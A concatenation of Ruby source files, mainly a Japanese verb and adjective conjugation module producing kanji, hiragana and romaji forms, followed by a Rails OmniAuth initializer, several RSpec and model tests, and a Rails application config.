hiragana_base += "とう"
romaji_base += "to"
when "v5u"
base += "おう"
hiragana_base += "おう"
romaji_base += "o"
when "v5u-s"
base = "N/A"
hiragana_base = "N/A"
romaji_base = "N/A"
when "v-kuru"
base += "よう"
hiragana_base = "こよう"
romaji_base = "koyo"
when "v-suru"
base = "しよう"
hiragana_base = "しよう"
romaji_base = "shiyo"
when "v-aru"
base += "ろう"
hiragana_base += "ろう"
romaji_base += "ro"
end
conjugations[:volitional] = base
hiragana_forms[:volitional] = hiragana_base
romaji_forms[:volitional] = romaji_base
end
end
def set_continuous_forms
endings = Japanese::Conjugator::CONTINUOUS_ENDINGS.values
romaji_endings = Japanese::Conjugator::ROMAJI_CONTINUOUS_ENDINGS.values
te_form = conjugations[:te_form]
hiragana_te_form = hiragana_forms[:te_form]
romaji_te_form = romaji_forms[:te_form]
conjugations[:continuous_forms] = {present_spoken: te_form + endings[0],
present_written: te_form + endings[1],
present_polite: te_form + endings[2],
present_polite_spoken: te_form + endings[3],
past_spoken: te_form + endings[4],
past_written: te_form + endings[5],
past_polite: te_form + endings[6],
past_polite_spoken: te_form + endings[7],
te_form_spoken: te_form + endings[8],
te_form_written: te_form + endings[9],
te_form_polite: te_form + endings[10],
te_form_polite_spoken: te_form + endings[11],
negative_te_form_spoken: te_form + endings[12],
negative_te_form_written: te_form + endings[13],}
hiragana_forms[:continuous_forms] = {present_spoken: hiragana_te_form + endings[0],
present_written: hiragana_te_form + endings[1],
present_polite: hiragana_te_form + endings[2],
present_polite_spoken: hiragana_te_form + endings[3],
past_spoken: hiragana_te_form + endings[4],
past_written: hiragana_te_form + endings[5],
past_polite: hiragana_te_form + endings[6],
past_polite_spoken: hiragana_te_form + endings[7],
te_form_spoken: hiragana_te_form + endings[8],
te_form_written: hiragana_te_form + endings[9],
te_form_polite: hiragana_te_form + endings[10],
te_form_polite_spoken: hiragana_te_form + endings[11],
negative_te_form_spoken: hiragana_te_form + endings[12],
negative_te_form_written: hiragana_te_form + endings[13],}
romaji_forms[:continuous_forms] = {present_spoken: romaji_te_form + romaji_endings[0],
present_written: romaji_te_form + romaji_endings[1],
present_polite: romaji_te_form + romaji_endings[2],
present_polite_spoken: romaji_te_form + romaji_endings[3],
past_spoken: romaji_te_form + romaji_endings[4],
past_written: romaji_te_form + romaji_endings[5],
past_polite: romaji_te_form + romaji_endings[6],
past_polite_spoken: romaji_te_form + romaji_endings[7],
te_form_spoken: romaji_te_form + romaji_endings[8],
te_form_written: romaji_te_form + romaji_endings[9],
te_form_polite: romaji_te_form + romaji_endings[10],
te_form_polite_spoken: romaji_te_form + romaji_endings[11],
negative_te_form_spoken: romaji_te_form + romaji_endings[12],
negative_te_form_written: romaji_te_form + romaji_endings[13],}
end
def process_i_adjective
set_adjective_base
set_adjective_adverbial_form
set_negative_adjective_forms
set_adjective_conjugations
end
def set_adjective_base
if part_of_speech == "adj-i"
base = kanji.dup
base.slice!(-1)
hiragana_base = hiragana.dup
hiragana_base.slice!(-1)
romaji_base = romaji.dup
romaji_base.slice!(-1)
end
conjugations[:adjective_base] = base
hiragana_forms[:adjective_base] = hiragana_base
romaji_forms[:adjective_base] = romaji_base
end
def set_adjective_adverbial_form
conjugations[:adverbial_form] = conjugations[:adjective_base] + "く"
hiragana_forms[:adverbial_form] = hiragana_forms[:adjective_base] + "く"
romaji_forms[:adverbial_form] = romaji_forms[:adjective_base] + "ku"
end
def set_negative_adjective_forms
neg = conjugations[:adverbial_form]
hiragana_neg = hiragana_forms[:adverbial_form]
romaji_neg = romaji_forms[:adverbial_form]
conjugations[:negative_adjective_forms] = {present: neg + "ない",
present_polite: neg + "ありません",
past: neg + "なかった",
past_polite: neg + "ありませんでした",
te_form: neg + "なくて",
present_honorofic: neg + "ございません",
past_honorific: neg + "ございませんでした",
te_form_honorific: neg + "ございませんでして",}
hiragana_forms[:negative_adjective_forms] = {present: hiragana_neg + "ない",
present_polite: hiragana_neg + "ありません",
past: hiragana_neg + "なかった",
past_polite: hiragana_neg + "ありませんでした",
te_form: hiragana_neg + "なくて",
present_honorific: hiragana_neg + "ございません",
past_honorific: hiragana_neg + "ございませんでした",
te_form_honorific: hiragana_neg + "ございませんでして",}
romaji_forms[:negative_adjective_forms] = {present: romaji_neg + " nai",
present_polite: romaji_neg + " arimasen",
past_polite: romaji_neg + " arimasen deshita",
past: romaji_neg + " nakatta",
te_form: romaji_neg + " nakute",
present_honorific: romaji_neg + " gozaimasen",
pasts_honorific: romaji_neg + " gozaimasen deshita",
te_form_honorific: " gozaimasen deshite",}
end
def set_adjective_conjugations
stem = conjugations[:adjective_base]
hiragana_stem = hiragana_forms[:adjective_base]
romaji_stem = romaji_forms[:adjective_base]
conjugations[:adjective_conjugations] = {present: kanji,
present_polite: kanji + "です",
past: stem + "かった",
past_polite: kanji + "でした",
te_form: stem + "くて",}
hiragana_forms[:adjective_conjugations] = {present: hiragana,
present_polite: hiragana + "です",
past: hiragana_stem + "かった",
past_polite: hiragana + "でした",
te_form: hiragana_stem + "くて",}
romaji_forms[:adjective_conjugations] = {present: romaji,
present_polite: romaji + " desu",
past: romaji_stem + "katta",
past_polite: romaji + " deshita",
te_form: romaji_stem + "kute",}
end
def set_copula_conjugations
conjugations[:copula] = {present: "だ",
present_polite: "です",
present_formal: "である",
present_honorific: "でございます",
past: "だった",
past_polite: "でした",
past_formal: "であった",
past_honorific: "でございました",
volitional: "だろう",
volitional_polite: "でしょう",
volitional_formal: "であろう",
volitional_honorific: "でございましょう",
te_form: "で",
te_form_polite: "でして",
te_form_formal: "であって",
te_form_honorific: "でございまして",
continuous_formal: "であり",}
hiragana_forms[:copula] = conjugations[:copula]
romaji_forms[:copula] = {present: "da",
present_polite: "desu",
present_formal: "de aru",
present_honorific: "de gozaimasu",
past: "datta",
past_polite: "deshita",
past_formal: "de atta",
past_honorific: "de gozaimashita",
volitional: "daro",
volitional_polite: "desho",
volitional_formal: "de aro",
volitional_honorific: "de gozaimasho",
te_form: "de",
te_form_polite: "deshite",
te_form_formal: "de atte",
te_form_honorific: "de gozaimashite",
continuous_formal: "de ari",}
end
def set_passive_dictionary_form
if has_passive
if part_of_speech == "v1"
stem = stem_form
hiragana_stem = hiragana_forms[:stem]
romaji_stem = romaji_forms[:stem]
elsif part_of_speech == "v-suru"
stem = "され"
hiragana_stem = "され"
romaji_stem = "sare"
else
stem = negative_stem
hiragana_stem = hiragana_forms[:negative_stem]
romaji_stem = romaji_forms[:negative_stem]
end
case part_of_speech
when "v1"
passive = stem += "られる"
hiragana_passive = hiragana_stem += "られる"
romaji_passive = romaji_stem += "rareru"
when "v-suru"
passive = stem += "る"
hiragana_passive = hiragana_stem += "る"
romaji_passive = romaji_stem += "ru"
else
passive = stem += "れる"
hiragana_passive = hiragana_stem += "れる"
romaji_passive = romaji_stem += "reru"
end
self.passive_dictionary_form = passive
hiragana_forms[:passive_dictionary_form] = hiragana_passive
romaji_forms[:passive_dictionary_form] = romaji_passive
end
end
def set_passive_forms_hash
if has_passive
set_passive_stem
set_passive_polite_forms
set_passive_negative_plain_forms
set_passive_te_and_ta_forms
set_passive_continuous_forms
set_passive_conditional
end
end
def set_passive_stem
stem = passive_dictionary_form.dup
stem.slice!(-1)
hiragana_stem = hiragana_forms[:passive_dictionary_form].dup
hiragana_stem.slice!(-1)
romaji_stem = romaji_forms[:passive_dictionary_form].dup
romaji_stem.slice!(-2..-1)
passive_forms[:stem] = stem
passive_forms_hiragana[:stem] = hiragana_stem
passive_forms_romaji[:stem] = romaji_stem
end
def set_passive_polite_forms
stem = passive_forms[:stem]
hiragana_stem = passive_forms_hiragana[:stem]
romaji_stem = passive_forms_romaji[:stem]
polite = Japanese::Conjugator::POLITE_VERB_ENDINGS.values
romaji_polite = Japanese::Conjugator::ROMAJI_POLITE_VERB_ENDINGS.values
passive_forms[:polite_forms] = {present: stem + polite[0],
past: stem + polite[1],
present_negative: stem + polite[2],
past_negative: stem + polite[3],
te_form: stem + polite[5],}
passive_forms_hiragana[:polite_forms] = {
present: hiragana_stem + polite[0],
past: hiragana_stem + polite[1],
present_negative: hiragana_stem + polite[2],
past_negative: hiragana_stem + polite[3],
te_form: hiragana_stem + polite[5],
}
passive_forms_romaji[:polite_forms] = {present: romaji_stem + romaji_polite[0],
past: romaji_stem + romaji_polite[1],
present_negative: romaji_stem + romaji_polite[2],
past_negative: romaji_stem + romaji_polite[3],
te_form: romaji_stem + romaji_polite[5],}
end
def set_passive_negative_plain_forms
stem = passive_forms[:stem]
hiragana_stem = passive_forms_hiragana[:stem]
romaji_stem = passive_forms_romaji[:stem]
endings = Japanese::Conjugator::NEGATIVE_VERB_ENDINGS.values
romaji_endings = Japanese::Conjugator::ROMAJI_NEGATIVE_VERB_ENDINGS.values
passive_forms[:negative_plain_forms] = {present: stem + endings[0],
past: stem + endings[1],
te_form: stem + endings[2],}
passive_forms_hiragana[:negative_plain_forms] = {
present: hiragana_stem + endings[0],
past: hiragana_stem + endings[1],
te_form: hiragana_stem + endings[2],
}
passive_forms_romaji[:negative_plain_forms] = {present: romaji_stem + romaji_endings[0],
past: romaji_stem + romaji_endings[1],
te_form: romaji_stem + romaji_endings[2],}
end
def set_passive_te_and_ta_forms
stem = passive_forms[:stem]
hiragana_stem = passive_forms_hiragana[:stem]
romaji_stem = passive_forms_romaji[:stem]
passive_forms[:te_form] = stem + "て"
passive_forms[:ta_form] = stem + "た"
passive_forms_hiragana[:te_form] = hiragana_stem + "て"
passive_forms_hiragana[:ta_form] = hiragana_stem + "た"
passive_forms_romaji[:te_form] = romaji_stem + "te"
passive_forms_romaji[:ta_form] = romaji_stem + "ta"
end
def set_passive_continuous_forms
te_form = passive_forms[:te_form]
hiragana_te_form = passive_forms_hiragana[:te_form]
romaji_te_form = passive_forms_romaji[:te_form]
endings = Japanese::Conjugator::CONTINUOUS_ENDINGS.values
romaji_endings = Japanese::Conjugator::ROMAJI_CONTINUOUS_ENDINGS.values
passive_forms[:continuous_forms] = {present_spoken: te_form + endings[0],
present_written: te_form + endings[1],
present_formal: te_form + endings[2],
present_formal_spoken: te_form + endings[3],
past_spoken: te_form + endings[4],
past_written: te_form + endings[5],
past_formal: te_form + endings[6],
past_polite_spoken: te_form + endings[7],
te_form_spoken: te_form + endings[8],
te_form_written: te_form + endings[9],
te_form_polite: te_form + endings[10],
te_form_polite_spoken: te_form + endings[11],
negative_te_form_spoken: te_form + endings[12],
negative_te_form_written: te_form + endings[13],}
passive_forms_hiragana[:continuous_forms] = {present_spoken: hiragana_te_form + endings[0],
present_written: hiragana_te_form + endings[1],
present_formal: hiragana_te_form + endings[2],
present_formal_spoken: hiragana_te_form + endings[3],
past_spoken: hiragana_te_form + endings[4],
past_written: hiragana_te_form + endings[5],
past_formal: hiragana_te_form + endings[6],
past_polite_spoken: hiragana_te_form + endings[7],
te_form_spoken: hiragana_te_form + endings[8],
te_form_written: hiragana_te_form + endings[9],
te_form_polite: hiragana_te_form + endings[10],
te_form_polite_spoken: hiragana_te_form + endings[11],
negative_te_form_spoken: hiragana_te_form + endings[12],
negative_te_form_written: hiragana_te_form + endings[13],}
passive_forms_romaji[:continuous_forms] = {present_spoken: romaji_te_form + romaji_endings[0],
present_written: romaji_te_form + romaji_endings[1],
present_formal: romaji_te_form + romaji_endings[2],
present_formal_spoken: romaji_te_form + romaji_endings[3],
past_spoken: romaji_te_form + romaji_endings[4],
past_written: romaji_te_form + romaji_endings[5],
past_formal: romaji_te_form + romaji_endings[6],
past_polite_spoken: romaji_te_form + romaji_endings[7],
te_form_spoken: romaji_te_form + romaji_endings[8],
te_form_written: romaji_te_form + romaji_endings[9],
te_form_polite: romaji_te_form + romaji_endings[10],
te_form_polite_spoken: romaji_te_form + romaji_endings[11],
negative_te_form_spoken: romaji_te_form + romaji_endings[12],
negative_te_form_written: romaji_te_form + romaji_endings[13],}
end
def set_passive_conditional
stem = passive_forms[:stem]
hiragana_stem = passive_forms_hiragana[:stem]
romaji_stem = passive_forms_romaji[:stem]
passive_forms[:conditional] = stem + "ば"
passive_forms_hiragana[:conditional] = hiragana_stem + "ば"
passive_forms_romaji[:conditional] = romaji_stem + "ba"
end
def set_causative_dictionary_form
if has_causative
if part_of_speech == "v1"
stem = stem_form
hiragana_stem = hiragana_forms[:stem]
romaji_stem = romaji_forms[:stem]
elsif part_of_speech == "v-suru"
stem = "させ"
hiragana_stem = "させ"
romaji_stem = "sase"
else
stem = negative_stem
hiragana_stem = hiragana_forms[:negative_stem]
romaji_stem = romaji_forms[:negative_stem]
end
case part_of_speech
when "v1"
causative = stem += "させる"
hiragana_causative = hiragana_stem += "させる"
romaji_causative = romaji_stem += "saseru"
when "v-suru"
causative = stem += "る"
hiragana_causative = hiragana_stem += "る"
romaji_causative = romaji_stem += "ru"
else
causative = stem += "せる"
hiragana_causative = hiragana_stem += "せる"
romaji_causative = romaji_stem += "seru"
end
self.causative_dictionary_form = causative
hiragana_forms[:causative_dictionary_form] = hiragana_causative
romaji_forms[:causative_dictionary_form] = romaji_causative
end
end
def set_causative_stem
stem = causative_dictionary_form.dup
stem.slice!(-1)
hiragana_stem = hiragana_forms[:causative_dictionary_form].dup
hiragana_stem.slice!(-1)
romaji_stem = romaji_forms[:causative_dictionary_form].dup
romaji_stem.slice!(-2..-1)
causative_forms[:stem] = stem
causative_forms_hiragana[:stem] = hiragana_stem
causative_forms_romaji[:stem] = romaji_stem
end
def set_causative_forms_hash
if has_causative
set_causative_stem
set_causative_te_and_ta_forms
set_causative_polite_forms
set_causative_negative_plain_forms
set_causative_continuous_forms
set_causative_prohibitive_form
set_causative_conditional
set_causative_imperative
set_causative_volitional
end
end
def set_causative_te_and_ta_forms
stem = causative_forms[:stem]
hiragana_stem = causative_forms_hiragana[:stem]
romaji_stem = causative_forms_romaji[:stem]
causative_forms[:te_form] = stem + "て"
causative_forms[:ta_form] = stem + "た"
causative_forms_hiragana[:te_form] = hiragana_stem + "て"
causative_forms_hiragana[:ta_form] = hiragana_stem + "た"
causative_forms_romaji[:te_form] = romaji_stem + "te"
causative_forms_romaji[:ta_form] = romaji_stem + "ta"
end
def set_causative_polite_forms
polite = Japanese::Conjugator::POLITE_VERB_ENDINGS.values
romaji_polite = Japanese::Conjugator::ROMAJI_POLITE_VERB_ENDINGS.values
stem = causative_forms[:stem]
hiragana_stem = causative_forms_hiragana[:stem]
romaji_stem = causative_forms_romaji[:stem]
causative_forms[:polite_forms] = {present: stem + polite[0],
past: stem + polite[1],
present_negative: stem + polite[2],
past_negative: stem + polite[3],
volitional: stem + polite[4],
te_form: stem + polite[5],}
causative_forms_hiragana[:polite_forms] = {present: hiragana_stem + polite[0],
past: hiragana_stem + polite[1],
present_negative: hiragana_stem + polite[2],
past_negative: hiragana_stem + polite[3],
volitional: hiragana_stem + polite[4],
te_form: hiragana_stem + polite[5],}
causative_forms_romaji[:polite_forms] = {present: romaji_stem + romaji_polite[0],
past: romaji_stem + romaji_polite[1],
present_negative: romaji_stem + romaji_polite[2],
past_negative: romaji_stem + romaji_polite[3],
volitional: romaji_stem + romaji_polite[4],
te_form: romaji_stem + romaji_polite[5],}
end
def set_causative_negative_plain_forms
endings = Japanese::Conjugator::NEGATIVE_VERB_ENDINGS.values
romaji_endings = Japanese::Conjugator::ROMAJI_NEGATIVE_VERB_ENDINGS.values
stem = causative_forms[:stem]
hiragana_stem = causative_forms_hiragana[:stem]
romaji_stem = causative_forms_romaji[:stem]
causative_forms[:negative_plain_forms] = {present: stem + endings[0],
past: stem + endings[1],
te_form: stem + endings[2],}
causative_forms_hiragana[:negative_plain_forms] = {present: hiragana_stem + endings[0],
past: hiragana_stem + endings[1],
te_form: hiragana_stem + endings[2],}
causative_forms_romaji[:negative_plain_forms] = {present: romaji_stem + romaji_endings[0],
past: romaji_stem + romaji_endings[1],
te_form: romaji_stem + romaji_endings[2],}
end
def set_causative_continuous_forms
endings = Japanese::Conjugator::CONTINUOUS_ENDINGS.values
romaji_endings = Japanese::Conjugator::ROMAJI_CONTINUOUS_ENDINGS.values
te_form = causative_forms[:te_form]
hiragana_te_form = causative_forms_hiragana[:te_form]
romaji_te_form = causative_forms_romaji[:te_form]
causative_forms[:continuous_forms] = {present_spoken: te_form + endings[0],
present_written: te_form + endings[1],
present_formal: te_form + endings[2],
present_formal_spoken: te_form + endings[3],
past_spoken: te_form + endings[4],
past_written: te_form + endings[5],
past_formal: te_form + endings[6],
past_polite_spoken: te_form + endings[7],
te_form_spoken: te_form + endings[8],
te_form_written: te_form + endings[9],
te_form_polite: te_form + endings[10],
te_form_polite_spoken: te_form + endings[11],
negative_te_form_spoken: te_form + endings[12],
negative_te_form_written: te_form + endings[13],}
causative_forms_hiragana[:continuous_forms] = {present_spoken: hiragana_te_form + endings[0],
present_written: hiragana_te_form + endings[1],
present_formal: hiragana_te_form + endings[2],
present_formal_spoken: hiragana_te_form + endings[3],
past_spoken: hiragana_te_form + endings[4],
past_written: hiragana_te_form + endings[5],
past_formal: hiragana_te_form + endings[6],
past_polite_spoken: hiragana_te_form + endings[7],
te_form_spoken: hiragana_te_form + endings[8],
te_form_written: hiragana_te_form + endings[9],
te_form_polite: hiragana_te_form + endings[10],
te_form_polite_spoken: hiragana_te_form + endings[11],
negative_te_form_spoken: hiragana_te_form + endings[12],
negative_te_form_written: hiragana_te_form + endings[13],}
causative_forms_romaji[:continuous_forms] = {present_spoken: romaji_te_form + romaji_endings[0],
present_written: romaji_te_form + romaji_endings[1],
present_formal: romaji_te_form + romaji_endings[2],
present_formal_spoken: romaji_te_form + romaji_endings[3],
past_spoken: romaji_te_form + romaji_endings[4],
past_written: romaji_te_form + romaji_endings[5],
past_formal: romaji_te_form + romaji_endings[6],
past_polite_spoken: romaji_te_form + romaji_endings[7],
te_form_spoken: romaji_te_form + romaji_endings[8],
te_form_written: romaji_te_form + romaji_endings[9],
te_form_polite: romaji_te_form + romaji_endings[10],
te_form_polite_spoken: romaji_te_form + romaji_endings[11],
negative_te_form_spoken: romaji_te_form + romaji_endings[12],
negative_te_form_written: romaji_te_form + romaji_endings[13],}
end
def set_causative_prohibitive_form
causative_forms[:prohibitive] = causative_dictionary_form + "な"
causative_forms_hiragana[:prohibitive] = hiragana_forms[:causative_dictionary_form] + "な"
causative_forms_romaji[:prohibitive] = romaji_forms[:causative_dictionary_form] + " na"
end
def set_causative_conditional
causative_forms[:conditional] = causative_forms[:stem] + "ば"
causative_forms_hiragana[:conditional] = causative_forms_hiragana[:stem] + "ば"
causative_forms_romaji[:conditional] = causative_forms_romaji[:stem] + "ba"
end
def set_causative_imperative
causative_forms[:imperative] = causative_forms[:stem] + "ろ"
causative_forms_hiragana[:imperative] = causative_forms_hiragana[:stem] + "ろ"
causative_forms_romaji[:imperative] = causative_forms_romaji[:stem] + "ro"
end
def set_causative_volitional
causative_forms[:volitional] = causative_forms[:stem] + "よう"
causative_forms_hiragana[:volitional] = causative_forms_hiragana[:stem] + "よう"
causative_forms_romaji[:volitional] = causative_forms_romaji[:stem] + "yo"
end
def set_causative_passive_dictionary_form
if has_causative_passive
if part_of_speech.in?(%w[v5k v5k-s v5b v5g v5m v5n v5r v5s v5t v5u v5u-s])
if part_of_speech == "v5s" # This chunk handles v5s class verbs
stem = negative_stem
hiragana_stem = hiragana_forms[:negative_stem]
romaji_stem = romaji_forms[:negative_stem]
self.causative_passive_dictionary_form = stem + "れる"
hiragana_forms[:causative_passive_dictionary_form] = hiragana_stem + "れる"
romaji_forms[:causative_passive_dictionary_form] = romaji_stem + "reru"
else # This handles all consonant regular verbs except v5s class verbs
stem = negative_stem
hiragana_stem = hiragana_forms[:negative_stem]
romaji_stem = romaji_forms[:negative_stem]
self.causative_passive_dictionary_form = stem + "される"
hiragana_forms[:causative_passive_dictionary_form] = hiragana_stem + "される"
romaji_forms[:causative_passive_dictionary_form] = romaji_stem + "sareru"
end
else # Because only vowel verbs will conjugate properly from the causative stem
stem = causative_forms[:stem]
hiragana_stem = causative_forms_hiragana[:stem]
romaji_stem = causative_forms_romaji[:stem]
self.causative_passive_dictionary_form = stem + "られる"
hiragana_forms[:causative_passive_dictionary_form] = hiragana_stem + "られる"
romaji_forms[:causative_passive_dictionary_form] = romaji_stem + "rareru"
end
end
end
def set_causative_passive_stem
stem = causative_passive_dictionary_form.dup
stem.slice!(-1)
hiragana_stem = hiragana_forms[:causative_passive_dictionary_form].dup
hiragana_stem.slice!(-1)
romaji_stem = romaji_forms[:causative_passive_dictionary_form].dup
romaji_stem.slice!(-2..-1)
causative_passive_forms[:stem] = stem
causative_passive_forms_hiragana[:stem] = hiragana_stem
causative_passive_forms_romaji[:stem] = romaji_stem
end
def set_causative_passive_forms_hash
if has_causative_passive
set_causative_passive_stem
set_causative_passive_te_and_ta_forms
set_causative_passive_polite_forms
set_causative_passive_negative_plain_forms
set_causative_passive_continuous_forms
set_causative_passive_conditional
end
end
def set_causative_passive_polite_forms
stem = causative_passive_forms[:stem]
hiragana_stem = causative_passive_forms_hiragana[:stem]
romaji_stem = causative_passive_forms_romaji[:stem]
romaji_polite = Japanese::Conjugator::ROMAJI_POLITE_VERB_ENDINGS.values
polite = Japanese::Conjugator::POLITE_VERB_ENDINGS.values
causative_passive_forms[:polite_forms] = {present: stem + polite[0],
past: stem + polite[1],
present_negative: stem + polite[2],
past_negative: stem + polite[3],
te_form: stem + polite[5],}
causative_passive_forms_hiragana[:polite_forms] = {present: hiragana_stem + polite[0],
past: hiragana_stem + polite[1],
present_negative: hiragana_stem + polite[2],
past_negative: hiragana_stem + polite[3],
te_form: hiragana_stem + polite[5],}
causative_passive_forms_romaji[:polite_forms] = {present: romaji_stem + romaji_polite[0],
past: romaji_stem + romaji_polite[1],
present_negative: romaji_stem + romaji_polite[2],
past_negative: romaji_stem + romaji_polite[3],
te_form: romaji_stem + romaji_polite[5],}
end
def set_causative_passive_negative_plain_forms
stem = causative_passive_forms[:stem]
hiragana_stem = causative_passive_forms_hiragana[:stem]
romaji_stem = causative_passive_forms_romaji[:stem]
endings = Japanese::Conjugator::NEGATIVE_VERB_ENDINGS.values
romaji_endings = Japanese::Conjugator::ROMAJI_NEGATIVE_VERB_ENDINGS.values
causative_passive_forms[:negative_plain_forms] = {present: stem + endings[0],
past: stem + endings[1],
te_form: stem + endings[2],}
causative_passive_forms_hiragana[:negative_plain_forms] = {present: hiragana_stem + endings[0],
past: hiragana_stem + endings[1],
te_form: hiragana_stem + endings[2],}
causative_passive_forms_romaji[:negative_plain_forms] = {present: romaji_stem + romaji_endings[0],
past: romaji_stem + romaji_endings[1],
te_form: romaji_stem + romaji_endings[2],}
end
def set_causative_passive_te_and_ta_forms
stem = causative_passive_forms[:stem]
hiragana_stem = causative_passive_forms_hiragana[:stem]
romaji_stem = causative_passive_forms_romaji[:stem]
causative_passive_forms[:te_form] = stem + "て"
causative_passive_forms[:ta_form] = stem + "た"
causative_passive_forms_hiragana[:te_form] = hiragana_stem + "て"
causative_passive_forms_hiragana[:ta_form] = hiragana_stem + "た"
causative_passive_forms_romaji[:te_form] = romaji_stem + "te"
causative_passive_forms_romaji[:ta_form] = romaji_stem + "ta"
end
def set_causative_passive_continuous_forms
te_form = causative_passive_forms[:te_form]
hiragana_te_form = causative_passive_forms_hiragana[:te_form]
romaji_te_form = causative_passive_forms_romaji[:te_form]
endings = Japanese::Conjugator::CONTINUOUS_ENDINGS.values
romaji_endings = Japanese::Conjugator::ROMAJI_CONTINUOUS_ENDINGS.values
causative_passive_forms[:continuous_forms] = {present_spoken: te_form + endings[0],
present_written: te_form + endings[1],
present_formal: te_form + endings[2],
present_formal_spoken: te_form + endings[3],
past_spoken: te_form + endings[4],
past_written: te_form + endings[5],
past_formal: te_form + endings[6],
past_polite_spoken: te_form + endings[7],
te_form_spoken: te_form + endings[8],
te_form_written: te_form + endings[9],
te_form_polite: te_form + endings[10],
te_form_polite_spoken: te_form + endings[11],
negative_te_form_spoken: te_form + endings[12],
negative_te_form_written: te_form + endings[13],}
causative_passive_forms_hiragana[:continuous_forms] = {present_spoken: hiragana_te_form + endings[0],
present_written: hiragana_te_form + endings[1],
present_formal: hiragana_te_form + endings[2],
present_formal_spoken: hiragana_te_form + endings[3],
past_spoken: hiragana_te_form + endings[4],
past_written: hiragana_te_form + endings[5],
past_formal: hiragana_te_form + endings[6],
past_polite_spoken: hiragana_te_form + endings[7],
te_form_spoken: hiragana_te_form + endings[8],
te_form_written: hiragana_te_form + endings[9],
te_form_polite: hiragana_te_form + endings[10],
te_form_polite_spoken: hiragana_te_form + endings[11],
negative_te_form_spoken: hiragana_te_form + endings[12],
negative_te_form_written: hiragana_te_form + endings[13],}
causative_passive_forms_romaji[:continuous_forms] = {present_spoken: romaji_te_form + romaji_endings[0],
present_written: romaji_te_form + romaji_endings[1],
present_formal: romaji_te_form + romaji_endings[2],
present_formal_spoken: romaji_te_form + romaji_endings[3],
past_spoken: romaji_te_form + romaji_endings[4],
past_written: romaji_te_form + romaji_endings[5],
past_formal: romaji_te_form + romaji_endings[6],
past_polite_spoken: romaji_te_form + romaji_endings[7],
te_form_spoken: romaji_te_form + romaji_endings[8],
te_form_written: romaji_te_form + romaji_endings[9],
te_form_polite: romaji_te_form + romaji_endings[10],
te_form_polite_spoken: romaji_te_form + romaji_endings[11],
negative_te_form_spoken: romaji_te_form + romaji_endings[12],
negative_te_form_written: romaji_te_form + romaji_endings[13],}
end
def set_causative_passive_conditional
stem = causative_passive_forms[:stem]
hiragana_stem = causative_passive_forms_hiragana[:stem]
romaji_stem = causative_passive_forms_romaji[:stem]
causative_passive_forms[:conditional] = stem + "ば"
causative_passive_forms_hiragana[:conditional] = hiragana_stem + "ば"
causative_passive_forms_romaji[:conditional] = romaji_stem + "ba"
end
end
end
| 45.861905 | 155 | 0.500541 |
39b509d04ad16a99f14b3aa2a95816ab5ead5f0e | 146 | Rails.application.config.middleware.use OmniAuth::Builder do
provider :google_oauth2, ENV['GOOGLE_OAUTH_KEY'], ENV['GOOGLE_OAUTH_PASSWORD']
end
| 36.5 | 80 | 0.815068 |
115ddcaa77f9b1954039231d799d9c81466bdf03 | 2,377 | # frozen_string_literal: true
require "rails_helper"
require "csv"
RSpec.describe PupilPremiumImporter do
let(:example_csv_file) { "spec/fixtures/files/example_sparse_lads.csv" }
let(:start_year) { 2021 }
let(:sparsity_importer) { SparsityImporter.new(Logger.new($stdout), start_year, example_csv_file) }
before do
create(:local_authority_district, code: "E07000026")
create(:local_authority_district, code: "E07000200")
create(:local_authority_district, code: "E07000136")
create(:local_authority_district, code: "E07000143")
create(:local_authority_district, code: "E11111111")
end
describe "#run" do
before do
sparsity_importer.run
end
it "Creates sparsity records for districts" do
expect(LocalAuthorityDistrict.find_by(code: "E07000026").district_sparsities.first).to be_present
end
it "does not create records for districts not present" do
expect(LocalAuthorityDistrict.find_by(code: "E11111111").district_sparsities.any?).to be false
end
it "sets the correct year on the record" do
expect(LocalAuthorityDistrict.find_by(code: "E07000026").district_sparsities.first.start_year).to be start_year
end
it "only creates one record per year" do
sparsity_importer.run
expect(LocalAuthorityDistrict.find_by(code: "E07000026").district_sparsities.count).to be 1
end
it "does not create a new record for additional years" do
SparsityImporter.new(Logger.new($stdout), start_year + 1, example_csv_file).run
expect(LocalAuthorityDistrict.find_by(code: "E07000026").district_sparsities.count).to be 1
end
it "does not update start_year for additional years" do
SparsityImporter.new(Logger.new($stdout), start_year + 1, example_csv_file).run
expect(LocalAuthorityDistrict.find_by(code: "E07000026").district_sparsities.first.start_year).to be start_year
end
it "sets the end year for districts which are no longer sparse" do
previously_sparse_lad = LocalAuthorityDistrict.find_by(code: "E11111111")
DistrictSparsity.create!(start_year: start_year - 1, local_authority_district: previously_sparse_lad)
sparsity_importer.run
expect(previously_sparse_lad.district_sparsities.count).to be 1
expect(previously_sparse_lad.district_sparsities.first.end_year).to be start_year
end
end
end
| 36.569231 | 117 | 0.752209 |
4ab88f7d6161f93771930cb0dd6ef11696ea8048 | 527 | # == Schema Information
#
# Table name: schemas
#
# id :integer not null, primary key
# name :string(255)
# changelogtable :string(255)
# created_at :datetime
# updated_at :datetime
# environment_id :integer
# host :string(255)
# application_id :integer
# database_type :string(255)
# username :string(255)
# password :string(255)
#
require 'test_helper'
class SchemaTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
| 21.08 | 57 | 0.618596 |
281e7193bc2f16067aaf49a76207bf41fbe1ad04 | 1,541 | require_relative 'boot'
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "action_controller/railtie"
# require "action_mailer/railtie"
require "action_view/railtie"
# require "action_cable/engine"
# require "sprockets/railtie"
# require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module GrufDemo
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 5.1
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Don't generate system test files.
config.generators.system_tests = nil
config.generators do |g|
g.test_framework :rspec, fixture: true
g.view_specs false
g.helper_specs false
end
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Custom directories with classes and modules you want to be autoloadable.
config.autoload_paths << "#{config.root}/lib"
config.autoload_paths << "#{config.root}/app/rpc"
end
end | 33.5 | 82 | 0.752758 |
1a61bd45502b21e9f7a81ca06958cd93c99125f8 | 11,966 | require 'test_helper'
class ExternalAssetTest < ActiveSupport::TestCase
test 'can create' do
asset = ExternalAsset.new(external_service: 'OpenBIS', external_id: '23')
assert asset.save
end
test 'validation fails if service and external id are not unique' do
